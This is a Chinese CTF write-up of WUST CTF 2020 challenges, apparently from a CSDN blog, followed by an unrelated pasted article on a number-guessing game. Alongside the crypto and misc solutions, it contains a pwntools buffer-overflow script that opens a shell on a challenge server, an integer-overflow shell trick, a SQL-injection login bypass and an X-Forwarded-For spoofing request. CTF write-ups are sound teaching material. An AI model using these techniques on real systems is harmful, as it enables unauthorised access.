Wust CTF 2020 黄金体验镇魂曲 writeup

前言


这是我第一次打CTF, 比赛之前可以说是几乎啥都不懂, 靠着点平常开发的老底, 感谢dalao出的题都很萌新, 这才没有太惨

Misc

比赛规则

比赛采用CTF标准赛制,选手需要在题目环境中找到类似 wctf2020{y0u_kn0w_th3_rule5} 的字符串并将其在题目相应的地方提交得分
这题flag就是wctf2020{y0u_kn0w_th3_rule5}

Space Club

题目提供space.txt打开后发现是大量空格, 且行只有短/长两种, 怀疑摩尔斯电码

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200329221558885.png
但是经过验证并不是, 怀疑是二进制短为0长为1, 二进制转字符串, 成功wctf2020{h3re_1s_y0ur_fl@g_s1x_s1x_s1x}

result = ""
with open("space.txt", 'r') as f:
    while True:
        a = f.readline()
        if not a:
            break
        result += "0" if len(a) < 8 else "1"
print(result)

Welcome

《论语》:三人行,必有我师焉。

在这里插入图片描述

解压后发现是一个人脸识别软件. 其实这题我是瞎猫碰见死耗子, 题目原意是识别的3张人脸出flag, 但是我以为是识别孔子的脸, 于是用手机调了一张, 这软件识别错误, 空气中多了张脸, 就这么莫名其妙拿到了flag wctf2020{We1cOme_t0_wCtF2o20_aNd_eNj0y_1t}

附件是一个pdf, 里面只有"一张"图片爬, 但是提示也太明显了
在这里插入图片描述

打开Adobe Acrobat DC, 让爬爬一爬, 就出来了, 丢进16进制转字符串, 完成 wctf2020{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}
在这里插入图片描述

Find me

下载下来只是一张普通的图片在这里插入图片描述
右键属性查看备注, 发现来了盲文, 丢进盲文转换, 完事 wctf2020{y$0$u_f$1$n$d$_M$e$e$e$e$e}
在这里插入图片描述

girlfriend

I want a girl friend !!!
将结果用wctf2020{}再提交

本题提供了一个音频文件, 内容是手机按键音,
错误解法❌: DTMF识别按键音快速获取: 使用软件:某同性交友网站
正确写法✔️: 使用Audacity一点点看在这里插入图片描述
在这里插入图片描述

我快瞎了
识别为999*666*88*2*777*33*6*999*4*444*777*555*333*777*444*33*66*3*7777
按老式手机的键盘对应按便能按出对应flag
wctf2020{ilovemygirlfriends} 👈划重点了 sssssssss

Shop

nc 47.**.40.187 12306

打开后为一个商店, 在里面可以购买flag, 有两种flag, 一种为假flag, 需要999元, 另一种为真flag, 需要 100000元, 但是只有2020元.
首先尝试购买负数的fake flag, 发现没有任何卵用, 再次尝试发现购买最大值只能到2147483647, 说明为int储存, 于是构造购买数量使价格int溢出
购买数量 2148483647 / 9999 打开python计算器得2,149,633, 就取2,500,000, 最后还有1797469316元, 可以购买flag为wctf2020{0h_noooo_y0u_r0b_my_sh0p}
在这里插入图片描述

Crypto

情书

我给你的情书,请收好。
Premise: Enumerate the alphabet by 0、1、2、… 、25
Using the RSA system
Encryption:0156 0821 1616 0041 0140 2130 1616 0793
Public Key:2537 and 13
Private Key:2537 and 937
flag: wctf2020{Decryption}

Public Key由 {n, e} 组成, Private Key由{n, d}组成, 于是 n=2537; d=937; e=13
质数分解得 p*q=n 于是p=43; q=59
最后结果取map一个a-z的字符串即可
数据够了开始计算

a = "abcdefghijklmnopqrstuvwxyz"
c = "0156 0821 1616 0041 0140 2130 1616 0793".split(" ")
p, q, d, e, n = 43, 59, 937, 13, 2537
phi_n = (p - 1) * (q - 1)
result = ''.join(a[pow(int(i), d, n)] for i in c)
print(result)
# iloveyou

wctf2020{iloveyou}
ps: 醒醒你这种用老年机而且写rsa情书是没人喜欢你的

B@se

do you know base64?
MyLkTaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD==
JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs****kxyz012789+/
oh holy shit, something is missing…

很明显魔改的Base64, 但是少了4个字母, 经过比对发现为34ju
解决方法: 生成34ju的全排列组合, 全部试一试, 得wctf2020{base64_1s_v3ry_e@sy_and_fuN}

data = "34ju"
result = []


def base64Decode(string, key):
   result = []
   string = string.strip("=")
   bin6list = []
   bin8list = []
   base64_list = key
   for ch in string:
       bin6list.append("{:>06}".format(str(bin(base64_list.index(ch)).replace("0b", ""))))
   binstr = "".join(bin6list)
   for i in range(0, len(binstr), 8):
       bin8list.append(binstr[i:i + 8])
   for item in range(len(bin8list) - 1):
       result.append(chr(int(bin8list[item], 2)))
   return "".join(result)


def permutations(arr, position, end):
   global result
   if position == end:
       result.append("".join(arr))
   else:
       for index in range(position, end):
           arr[index], arr[position] = arr[position], arr[index]
           permutations(arr, position + 1, end)
           arr[index], arr[position] = arr[position], arr[index]


permutations(list(data), 0, len(data))
for r in result:
   key = f"JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs{r}kxyz012789+/="
   data = base64Decode("MyLkTaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD==", key)
   if "base" not in data:
       continue
   print(data)
>>wctf2020{base64_1s_v3ry_e@sy_and_fuN}

babyrsa

c = 28767758880940662779934612526152562406674613203406706867456395986985664083182
n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
e = 65537

听名字就知道是rsa, 而且条件都有, 话不多说上代码

c = 28767758880940662779934612526152562406674613203406706867456395986985664083182
n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
e = 65537
p = 189239861511125143212536989589123569301
q = 386123125371923651191219869811293586459
fn = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, fn)
m = libnum.n2s(pow(c, d, n))
print(m)

wctf2020{just_@_piece_0f_cak3}

Reverse

Cr0ssFun

我曾经跨过山和大海

本题提供了一个可执行文件, 先执行试试看
在这里插入图片描述
看起来是验证flag的, 拖进IDA看看代码
在这里插入图片描述
在这里插入图片描述

追着代码来到验证处, 其中a1为前面scanf来的字符串的指针, 第一行意思便是
*(a1+10)处的内容是否为112, 跟着记下所有字符, 得到内容(部分), python处理后得到flagwctf2020{cpp_@nd_r3verse_@re_fun}
在这里插入图片描述

with open("key.txt") as f:
   data = []
   while True:
       a = f.readline().strip()
       if not a:
           break
       b = a.split(" ")
       data.append((int(b[0]), chr(int(b[1]))))
   data.sort(key=lambda x: x[0])
   print("".join([k[1] for k in data]))
   >> wctf2020{cpp_@nd_r3verse_@re_fun}

Level1

out.txt
198
232
816
200
1536
300

这个程序貌似无法在我的Wsl上运行, 直接丢IDA吧, 进入main函数, 观察到以下内容
在这里插入图片描述

看来逻辑是读入flag, 经过变换后得到output.txt, 因为WSL里没有flag, 于是报错
写出逆变换即可ctf2020{d9-dE6-20c}

with open("output.txt", 'r') as f:
   for i in range(1, 20):
       o = int(f.readline())
       if (i & 1) != 0:
           print(chr(o >> i), end="")
       else:
           print(chr(int(o / i)), end="")
           
>> ctf2020{d9-dE6-20c}

Level3

任然为Base64题目, 但是为逆推Base64算法, 拖入IDA
在这里插入图片描述
核心算法: 取随机数, 随机把我输入的数据转换成魔改Base64, 或者显示要转换的Base64

毒瘤做法:
既然是Base64, 而且明说了是魔改, 说明了是调换字母顺序, 我直接生成随机字符串, 分别拿去这个base64和正常base64不就出来了, 然后比对内容不就出来了

随机字符串:

import random
key = "ABCDEONHIKJLMGFPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
test_string = "".join([random.choice(key) for i in range(18)])
print(test_string)
import base64

key = "ASRQEONHIKJLMGFPDCBTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def unbase(string: str) -> str:
    oldstr = ''
    unbase = ''
    base64_list = list(key)
    for i in string.replace('=', ''):
        oldstr += '{:06}'.format(int(bin(base64_list.index(i)).replace('0b', '')))
    newstr = ['{}'.format(oldstr[j:j + 8]) for j in range(0, len(oldstr), 8)]
    for l in range(len(newstr)):
        unbase += chr(int(newstr[l], 2))
    return unbase


print(unbase("d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="))

raw = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
test = "inoHVomw29cTPruShv"

raw_64 = base64.b64encode(test.encode()).decode()
code_64 = "aW5vBOZvbXcyFWGUUMK1U2h2"

for i in range(len(code_64)):
    if raw_64[i] != code_64[i]:
        index = raw.index(raw_64[i])
        if key[index] != code_64[i]:
            print(raw_64[i], code_64[i])
>> wctf2ð0{Basd4_is_the_start_of_reverse} 

最后这么循环3次, 手动补齐乱码的flag, 得wctf2020{Base64_is_the_start_of_reverse}

Pwn

getshell

首先查看文件类型, 发现没有栈保护, 初步怀疑可以栈溢出
在这里插入图片描述
打开IDA 发现read进一个buf, 开辟了0x18大小的缓冲区, 可以构造溢出覆盖返回地址.
在这里插入图片描述

在左侧函数表内发现函数shell, 返回了sh, 只要内容使栈覆盖掉EIP即可
首先使用peda的pattern_create 150构造出150长度字符串, 输入程序
在这里插入图片描述
随后程序崩溃,打印出栈帧, 可以看见EIP的内容为0x413b4141 对应AA;a , 使用命令pattern_offset 0x413b4141查看偏移量为28
在这里插入图片描述

查看shell函数的地址, 发现为0x0804851b, 只需构造字符串"A"*28 + '\x1b\x85\x04\x08'即可

当然这些可以从汇编中直接获取, 查看vulnerable函数的汇编代码
在这里插入图片描述
所以要修改返回地址, 只要填充0x18 + 0x4 + &shell即可
编写脚本

from pwn import *
conn = remote('47.97.40.187', 12333)
conn.sendline('A' * 28 + p32(0x0804851b))
conn.interactive()
conn.close()

拿到shell后获取flag wctf2020{E@sy_get_shell}
在这里插入图片描述

number_game

本题提供了一个二进制文件, 先打开IDA看看逻辑

在这里插入图片描述

大概逻辑:
读入一个数字, 要求这个数字为负数, 取相反数后仍然为负数, 正确的话就会给shell, 否则无用.
对于32位系统C语言的范围为-2147483648~2147483647, 发现负数比正数刚好多一, 于是构造-2147483648输入, 取相反数后刚好溢出2147483647变为负数, 完成. wctf2020{Opc0de_neg_Is_StraNge}

在这里插入图片描述

closed

先丢IDA看看, 本题是直接吧shell给了出来, 但是close(1)和close(2)关闭了stdout和stderr, 导致拿到shell了后也没有任何输出
在这里插入图片描述
解决办法为对stdout重定向, 命令exec 1>&0 flag:wctf2020{A_pr@ctical_Trick}

  • 0和1是linux下的文件描述符。
  • 在Linux中一切皆文件,文件描述符(file descriptor)是内核为了高效管理已被打开的文件所创建的索引,是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。
  • 标准输入输出的指向是默认的,我们可以修改它们的指向,也即重定位
  • 举例子,可以用exec 1>myoutput把标准输出重定向到myoutput文件中,也可以用exec 0<myinput把标准输入重定向到myinput文件中,而且,文件名字可以用&+文件描述符来代替。
  • 那么问题到这里就解决了,三条语句中close(1);close(2)即把标准输出和标准错误输出关闭,然后我们可以执行 exec 1>&0,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了

在这里插入图片描述

Web

admin

login in as admin

要求以admin的方式进行登录, 审查元素后并没有发现有什么内容, 尝试sql注入
在这里插入图片描述
构造用户名'or 1#, 密码随便填, 点击登录后跳转到网站
在这里插入图片描述

此网站要求必须内网才能访问, 构造内网ip 127.0.0.1

import requests
url = 'http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php'
print(requests.get(url=url, headers={
   "x-forwarded-for": "127.0.0.1",
}).text)

经过一番折腾获取地址

import requests
url = 'http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php?ais=520'
print(requests.post(url=url, headers={
   "x-forwarded-for": "127.0.0.1",
}, data={
   "wust": "1314"
}).text)

在这里插入图片描述
4dz&nbsp;&nbsp;aste.ubuntu.com/p/&nbsp;&nbsp;&nbsp;&nbsp;https://p&nbsp;&nbsp;Rqr&nbsp;&nbsp;cSf2
把这一段丢去html解码4dz aste.ubuntu.com/p/ https://p Rqr cSf2
这是一个粘贴代码的网站, 尝试对其进行排列组合后得https://paste.ubuntu.com/p/cSf24dzRqr/
拿到d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9, 尝试Base64得
wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
猜数字  猜数字   猜数字可以算是一种益智类小游戏,一般两个人玩,也可以由一个人和电脑玩,可以在纸上、在网上都可以玩。这种游戏规则简单,但可以考验人的严谨和耐心。   目录   1 规则   1.1 次数限制   1.2 含重复数字的猜数字   2 解法   2.1 计算机解   2.2 推理解   2.3 代入解   2.4 其他   3 参看   规则   这个游戏的规则比较简单,一般两个人玩,一方出数字,一方猜。出数字的人要想好一个没有重复数字的4位数,不能让猜得人知道。猜的人就可以开始猜。每猜一个数字,出数者就要根据这个数字给出几A几B,其中A前面的数字表示位置正确的数的个数,而B前的数字表示数字正确而位置不对的数的个数。   如正确答案为5234,而猜的人猜5346,则是1A2B,其中有一个5的位置对了,记为1A,而3和4这两个数字对了,而位置没对,因此记为2B,合起来就是1A2B。   接着猜的人再根据出题者的几A几B继续猜,直到猜中为止。   次数限制   有的时候,这个游戏有猜测次数上的限制。根据计算机测算,这个游戏,如果以最严谨的计算,任何数字可以在7次之内猜出。而有些地方把次数限制为6次或更少,则会导致有些数可能猜不出来。而有些地方考虑到人的逻辑思维难以达到计算机的那么严谨,故设置为8次甚至10次。也有的没有次数上的限制。   含重复数字的猜数字   有一种使用范围比较狭窄的猜数字,是允许重复数字存在的猜数字,但由于其规则较复杂,故没有得到广泛的推广。其规则如下:   除了上面的规则外,如果有出现重复的数字,则重复的数字每个也只能算一次,且以最优的结果为准,   如正确答案为5543,猜的人猜5255,则在这里不能认为猜测的第一个5对正确答案第二个,根据最优结果为准的原理和每个数字只能有一次的规则,两个比较后应该为1A1B,第一个5位子正确,记为1A;猜测数字中的第三个5或第四个5和答案的第二个5匹配,只能记为1B。当然,如果有猜5267中的第一个5不能与答案中的第二个5匹配,因此只能记作1A0B。   解法   对于不同的人,常常会用到不同的解法   计算机解   通常采用的计算机解是通过排除法,即遍历所有可能的数,将不符合要求的数剃掉。   下面是一个计算机处理的例子:   for (int i = 0; i < Array.Count; i++) { if (Array与当前输出数字的比较 != 用户输入的与正确答案对比的结果) { Array.Remove(i); i--; } }      这个代码采用C#的语法,其中Array表示所有可能的数字的集合。这个例子为了方便说明,结合了语言的描述。   这样的方法充分利用了计算机计算速度快的优势,迅速排出不符合要求的数。通常第一次猜测的时间(有的引擎为第二次猜测)会在10秒左右,而随着猜测次数的不断增加,猜测的时间会越来越短,最后几乎不需要时间,这是由于集合中的数越来越少,排除需要的时间也随之减少。   推理解   计算机解释根据这种方法推广的。这种解法的中心思想是假设猜的这个数字是正确答案,即如果它为正确答案,那么这个数应该符合已经猜测的数及其结果。如已经有   1234 0A0B   那么下一步就不能猜含有1234中任一数字的数,因为如果正确答案含1234中任一,结果就不可能为0A0B。   这种解法对猜者要求较高,通常,可能会被定式思维所干扰,导致难以猜出。   基于这个解法,根据个人思维风格和起始数字选择的不同,以及对出题者出数风格的猜测,有时可以把猜测次数控制在5步内,但不总能在5步内猜出。   使用这种解法需要考虑的时间很久,和计算机解正好相反,人使用这种方法,通常随着猜测次数的增加,需要考虑的东西不断增多,反而考虑的时间会变得越来越长。   代入解   还有一种方法,在人的猜测中很常用,即将推理出不可能含有的数字,代入,察看那些数字是有的。   但这种方法其猜测次数难以确定,且通常的猜测次数比推理解多。   其他   可能还有其他的方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值